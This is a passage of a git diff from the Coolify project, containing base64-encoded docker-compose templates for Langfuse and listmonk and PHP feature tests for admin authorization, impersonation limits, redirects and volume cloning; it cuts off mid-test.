0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX0RCPWxpc3Rtb25rCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogICAgICAtIFRaPUV0Yy9VVEMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xpc3Rtb25rLWRhdGE6L2xpc3Rtb25rL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6OTAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBsaXN0bW9uay1pbml0aWFsLWRhdGFiYXNlLXNldHVwOgogICAgaW1hZ2U6ICdsaXN0bW9uay9saXN0bW9uazp2Ni4wLjAnCiAgICBjb21tYW5kOiAnLi9saXN0bW9uayAtLWluc3RhbGwgLS15ZXMgLS1pZGVtcG90ZW50JwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RNT05LX2RiX19ob3N0PXBvc3RncmVzCiAgICAgIC0gTElTVE1PTktfZGJfX2RhdGFiYXNlPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "newsletter", "mailing list", diff --git a/tests/Feature/AdminAccessAuthorizationTest.php b/tests/Feature/AdminAccessAuthorizationTest.php new file mode 100644 index 000000000..4840bc4dd --- /dev/null +++ b/tests/Feature/AdminAccessAuthorizationTest.php @@ -0,0 +1,118 @@ +get('/admin'); + + $response->assertRedirect('/login'); +}); + +test('authenticated non-root user gets 403 on admin page', function () { + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'admin']); + + $this->actingAs($user); + session(['currentTeam' => ['id' => $team->id]]); + + Livewire::test(AdminIndex::class) + ->assertForbidden(); +}); + +test('root user can access admin page in cloud mode', function () { + config()->set('constants.coolify.self_hosted', false); + + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(AdminIndex::class) + ->assertOk(); +}); + +test('root user gets 403 on admin page in self-hosted non-dev mode', function () { + config()->set('constants.coolify.self_hosted', true); + config()->set('app.env', 'production'); + + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(AdminIndex::class) + ->assertForbidden(); +}); + +test('submitSearch requires admin authorization', function () { + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'admin']); + + $this->actingAs($user); + session(['currentTeam' => ['id' => $team->id]]); + + Livewire::test(AdminIndex::class) + ->assertForbidden(); +}); + +test('switchUser requires root user id 0', function () { + config()->set('constants.coolify.self_hosted', false); + + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + + $targetUser = User::factory()->create(); + $targetTeam = Team::factory()->create(); + $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(AdminIndex::class) + ->assertOk() + ->call('switchUser', $targetUser->id) + ->assertRedirect(); +}); + +test('switchUser rejects non-root user', function () { + config()->set('constants.coolify.self_hosted', false); + + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'admin']); + + // Must set impersonating session to bypass mount() check + $this->actingAs($user); + session([ + 'currentTeam' => ['id' => $team->id], + 'impersonating' => true, + ]); + + Livewire::test(AdminIndex::class) + ->call('switchUser', 999) + ->assertForbidden(); +}); + +test('admin route has auth middleware applied', function () { + $route = collect(app('router')->getRoutes()->getRoutesByName()) + ->get('admin.index'); + + expect($route)->not->toBeNull(); + + $middleware = $route->gatherMiddleware(); + + expect($middleware)->toContain('auth'); +}); diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php index 8ccb7c639..7f1b985ad 100644 --- a/tests/Feature/ApplicationHealthCheckApiTest.php +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -25,13 +25,13 @@ $this->server = Server::factory()->create(['team_id' => $this->team->id]); StandaloneDocker::withoutEvents(function () { - $this->destination = StandaloneDocker::firstOrCreate( - ['server_id' => $this->server->id, 'network' => 'coolify'], + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] ); }); - $this->project = Project::create([ + $this->project = Project::forceCreate([ 'uuid' => (string) new Cuid2, 'name' => 'test-project', 'team_id' => $this->team->id, diff --git a/tests/Feature/ApplicationRedirectTest.php b/tests/Feature/ApplicationRedirectTest.php new file mode 100644 index 000000000..55b124f81 --- /dev/null +++ b/tests/Feature/ApplicationRedirectTest.php @@ -0,0 +1,60 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('Application Redirect', function () { + test('setRedirect persists the redirect value to the database', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'fqdn' => 'https://example.com,https://www.example.com', + 'redirect' => 'both', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('redirect', 'www') + ->call('setRedirect') + ->assertDispatched('success'); + + $application->refresh(); + expect($application->redirect)->toBe('www'); + }); + + test('setRedirect rejects www redirect when no www domain exists', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'fqdn' => 'https://example.com', + 'redirect' => 'both', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('redirect', 'www') + ->call('setRedirect') + ->assertDispatched('error'); + + $application->refresh(); + expect($application->redirect)->toBe('both'); + }); +}); diff --git a/tests/Feature/ClonePersistentVolumeUuidTest.php b/tests/Feature/ClonePersistentVolumeUuidTest.php new file mode 100644 index 000000000..f1ae8dd26 --- /dev/null +++ b/tests/Feature/ClonePersistentVolumeUuidTest.php @@ -0,0 +1,84 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +test('cloning application generates new uuid for persistent volumes', function () { + $volume = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $originalUuid = $volume->uuid; + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedVolume = $newApp->persistentStorages()->first(); + + expect($clonedVolume)->not->toBeNull(); + expect($clonedVolume->uuid)->not->toBe($originalUuid); + expect($clonedVolume->mount_path)->toBe('/data'); +}); + +test('cloning application with multiple persistent volumes generates unique uuids', function () { + $volume1 = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $volume2 = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-config', + 'mount_path' => '/config', + 'resource_id' => 